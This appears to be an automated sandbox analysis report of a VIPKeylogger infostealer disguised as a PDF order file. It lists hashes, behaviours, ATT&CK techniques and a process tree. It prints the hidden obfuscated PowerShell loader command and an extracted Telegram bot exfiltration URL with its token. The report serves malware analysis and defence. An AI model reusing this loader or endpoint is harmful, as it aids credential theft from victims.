vipkeylogger | 7f13b9acd4eceebec592a638b86b9fec45ceb1117784384a67c04f3b053a2a27

Analysis

max time kernel
144s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-11-2024 02:40

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General

Target

Order requirements CIF Greece_pdf.exe
Size

813KB
MD5

998e394361bd54c58a1ad2092fca8b6c
SHA1

c68e7856324a50c04ee5e1de46952ecaed47eff7
SHA256

87f519d29ebc3fb1b6bed4a5e7ac4865b029da69d2608548a8db34e4069673ec
SHA512

bb7af9d97e4fed96e000048828826f715fa3f229058326da25cf535629e567389b6129e72b6ef214937f0429d74d35598a7f440af6221ecc56ddeea86f9733b1
SSDEEP

12288:a7CBVenOxJUbx7lU0hbB6y3bn6vlP9Ia8GIbPYkAdwvLRPC6Oe73MFce:6G+OxmF7mSB6yrnMIacPYkAevLRPJyF

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

https://api.telegram.org/bot8065526741:AAEj68BwW3BsUStAxrPkDSB2kLxwQ3yik84/sendMessage?chat_id=6897585916

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4272	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
20	4004	msiexec.exe
22	4004	msiexec.exe
24	4004	msiexec.exe
26	4004	msiexec.exe
30	4004	msiexec.exe
33	4004	msiexec.exe
35	4004	msiexec.exe
39	4004	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	drive.google.com
20	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
32	checkip.dyndns.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\narrowness.ini	Order requirements CIF Greece_pdf.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4004	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4272	powershell.exe
4004	msiexec.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\mutases.fin	Order requirements CIF Greece_pdf.exe
File opened for modification	C:\Windows\resources\energiudfoldelsers.Uku	Order requirements CIF Greece_pdf.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Order requirements CIF Greece_pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
4004	msiexec.exe
4004	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4272	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeIncreaseQuotaPrivilege	4272	powershell.exe
Token: SeSecurityPrivilege	4272	powershell.exe
Token: SeTakeOwnershipPrivilege	4272	powershell.exe
Token: SeLoadDriverPrivilege	4272	powershell.exe
Token: SeSystemProfilePrivilege	4272	powershell.exe
Token: SeSystemtimePrivilege	4272	powershell.exe
Token: SeProfSingleProcessPrivilege	4272	powershell.exe
Token: SeIncBasePriorityPrivilege	4272	powershell.exe
Token: SeCreatePagefilePrivilege	4272	powershell.exe
Token: SeBackupPrivilege	4272	powershell.exe
Token: SeRestorePrivilege	4272	powershell.exe
Token: SeShutdownPrivilege	4272	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeSystemEnvironmentPrivilege	4272	powershell.exe
Token: SeRemoteShutdownPrivilege	4272	powershell.exe
Token: SeUndockPrivilege	4272	powershell.exe
Token: SeManageVolumePrivilege	4272	powershell.exe
Token: 33	4272	powershell.exe
Token: 34	4272	powershell.exe
Token: 35	4272	powershell.exe
Token: 36	4272	powershell.exe
Token: SeDebugPrivilege	4004	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2424 wrote to memory of 4272	2424	Order requirements CIF Greece_pdf.exe	83
PID 2424 wrote to memory of 4272	2424	Order requirements CIF Greece_pdf.exe	83
PID 2424 wrote to memory of 4272	2424	Order requirements CIF Greece_pdf.exe	83
PID 4272 wrote to memory of 4004	4272	powershell.exe	96
PID 4272 wrote to memory of 4004	4272	powershell.exe	96
PID 4272 wrote to memory of 4004	4272	powershell.exe	96
PID 4272 wrote to memory of 4004	4272	powershell.exe	96

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\Order requirements CIF Greece_pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Order requirements CIF Greece_pdf.exe"
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Barthianismens=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\skittaget\lektier\Familieskabet.Sch';$Architectures=$Barthianismens.SubString(9447,3);.$Architectures($Barthianismens) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:4004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bp0ijsdv.va4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\skittaget\lektier\Familieskabet.Sch

Filesize
71KB

MD5
8149653bd363ed6762847796373192c1

SHA1
df385979c55013616b642bec5415ee1b89929319

SHA256
9296b59074488ea1a87189a1412aa652d7966a44ce2f9a297109227a953efd24

SHA512
a7f7937acea516c9420b3ef4c448fcec2c52956bb2b1705da0221e32df5eb59016784018bf23e6382491f63ccff23aae28ce8f84003bc4813bc7812dfd3df814

Download Submit
C:\Users\Admin\AppData\Roaming\skittaget\lektier\Sitka.Afg

Filesize
326KB

MD5
bf36880f0e8cff63a4a0a6d2e2af1107

SHA1
fcf08c335ed6bb98280cc47cbc4d6ae6bb0ffa32

SHA256
bfce8c5feaab8ce81970225d42bd77b3f919fa422ec4f7d66be0f7ff8cf29b08

SHA512
17aab56822fd6895209d4b474d34a78bf18faa8642d7c012e12f9f87e23d520495b5349605dedcce9092a368739b51195813bd652ec56a66a894734f57464479

Download Submit
memory/4004-83-0x0000000022310000-0x000000002231A000-memory.dmp

Filesize
40KB

Download
memory/4004-82-0x0000000023290000-0x00000000237BC000-memory.dmp

Filesize
5.2MB

Download
memory/4004-81-0x0000000022160000-0x00000000221B0000-memory.dmp

Filesize
320KB

Download
memory/4004-79-0x0000000022B90000-0x0000000022D52000-memory.dmp

Filesize
1.8MB

Download
memory/4004-78-0x00000000221B0000-0x0000000022242000-memory.dmp

Filesize
584KB

Download
memory/4004-74-0x00000000012C0000-0x0000000002514000-memory.dmp

Filesize
18.3MB

Download
memory/4004-76-0x0000000021D80000-0x0000000021E1C000-memory.dmp

Filesize
624KB

Download
memory/4004-75-0x00000000012C0000-0x000000000130A000-memory.dmp

Filesize
296KB

Download
memory/4272-47-0x0000000007350000-0x00000000073F3000-memory.dmp

Filesize
652KB

Download
memory/4272-53-0x0000000075240000-0x00000000759F0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-29-0x0000000006E70000-0x0000000006E92000-memory.dmp

Filesize
136KB

Download
memory/4272-30-0x00000000074F0000-0x0000000007A94000-memory.dmp

Filesize
5.6MB

Download
memory/4272-27-0x0000000006410000-0x00000000064A6000-memory.dmp

Filesize
600KB

Download
memory/4272-32-0x0000000008120000-0x000000000879A000-memory.dmp

Filesize
6.5MB

Download
memory/4272-33-0x00000000072E0000-0x0000000007312000-memory.dmp

Filesize
200KB

Download
memory/4272-34-0x0000000071060000-0x00000000710AC000-memory.dmp

Filesize
304KB

Download
memory/4272-36-0x0000000075240000-0x00000000759F0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-46-0x0000000007320000-0x000000000733E000-memory.dmp

Filesize
120KB

Download
memory/4272-35-0x0000000071480000-0x00000000717D4000-memory.dmp

Filesize
3.3MB

Download
memory/4272-8-0x000000007524E000-0x000000007524F000-memory.dmp

Filesize
4KB

Download
memory/4272-48-0x0000000007450000-0x000000000745A000-memory.dmp

Filesize
40KB

Download
memory/4272-50-0x00000000074C0000-0x00000000074E4000-memory.dmp

Filesize
144KB

Download
memory/4272-51-0x0000000075240000-0x00000000759F0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-49-0x0000000007490000-0x00000000074BA000-memory.dmp

Filesize
168KB

Download
memory/4272-52-0x0000000075240000-0x00000000759F0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-28-0x00000000063D0000-0x00000000063EA000-memory.dmp

Filesize
104KB

Download
memory/4272-54-0x0000000075240000-0x00000000759F0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-26-0x0000000005F40000-0x0000000005F8C000-memory.dmp

Filesize
304KB

Download
memory/4272-56-0x000000007524E000-0x000000007524F000-memory.dmp

Filesize
4KB

Download
memory/4272-57-0x0000000075240000-0x00000000759F0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-58-0x0000000075240000-0x00000000759F0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-60-0x0000000075240000-0x00000000759F0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-59-0x00000000087A0000-0x0000000009F00000-memory.dmp

Filesize
23.4MB

Download
memory/4272-61-0x0000000075240000-0x00000000759F0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-25-0x0000000005E90000-0x0000000005EAE000-memory.dmp

Filesize
120KB

Download
memory/4272-24-0x0000000005890000-0x0000000005BE4000-memory.dmp

Filesize
3.3MB

Download
memory/4272-14-0x0000000005820000-0x0000000005886000-memory.dmp

Filesize
408KB

Download
memory/4272-13-0x00000000057B0000-0x0000000005816000-memory.dmp

Filesize
408KB

Download
memory/4272-12-0x0000000004FD0000-0x0000000004FF2000-memory.dmp

Filesize
136KB

Download
memory/4272-11-0x0000000005110000-0x0000000005738000-memory.dmp

Filesize
6.2MB

Download
memory/4272-10-0x0000000075240000-0x00000000759F0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-9-0x00000000028C0000-0x00000000028F6000-memory.dmp

Filesize
216KB

Download